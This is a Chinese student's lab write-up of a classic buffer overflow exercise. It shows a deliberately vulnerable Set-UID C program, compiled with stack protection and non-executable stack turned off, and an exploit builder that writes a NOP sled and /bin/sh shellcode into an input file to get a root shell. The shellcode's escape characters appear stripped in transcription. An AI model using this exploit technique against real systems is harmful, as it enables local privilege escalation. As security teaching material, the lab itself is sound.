2017-2018-1 20155219缓冲区溢出漏洞实验

2017-2018-1 20155219缓冲区溢出漏洞实验

  • 课上实验已做完,利用闲暇时间做一下这个实验

安装的编译32位c程序的命令

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

如图:

进入32位linux环境

之后使用命令“linux32”进入32位linux环境。

设置zsh程序

防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。

我们使用命令关闭这一防范功能,为了重现这一防护措施被实现之前的情形,下面的指令描述了如何设置zsh程序:
如图

漏洞程序的编写和执行

编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
而 -z execstack 用于允许执行栈。

开始攻击

在“/tmp”目录下保存以下代码为“stack.c”:

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}

编译该程序,并且通过如下命令设置SET-UID

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit

之后在/tmp保存“exploit.c”代码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"x31xc0"    //xorl %eax,%eax
"x50"        //pushl %eax
"x68""//sh"  //pushl $0x68732f2f
"x68""/bin"  //pushl $0x6e69622f
"x89xe3"    //movl %esp,%ebx
"x50"        //pushl %eax
"x53"        //pushl %ebx
"x89xe1"    //movl %esp,%ecx
"x99"        //cdq
"xb0x0b"    //movb $0x0b,%al
"xcdx80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

我们要得到shellcode在内存中的地址,输入命令:

gdb stack

disass main

得到结果如图

根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd1b0(十六进制)+100(十进制)=0xffffd214(十六进制)

即知道了str的地址经过计算可以得到shellcode的地址。

攻击结果如图

原文地址:https://www.cnblogs.com/paypay/p/7751480.html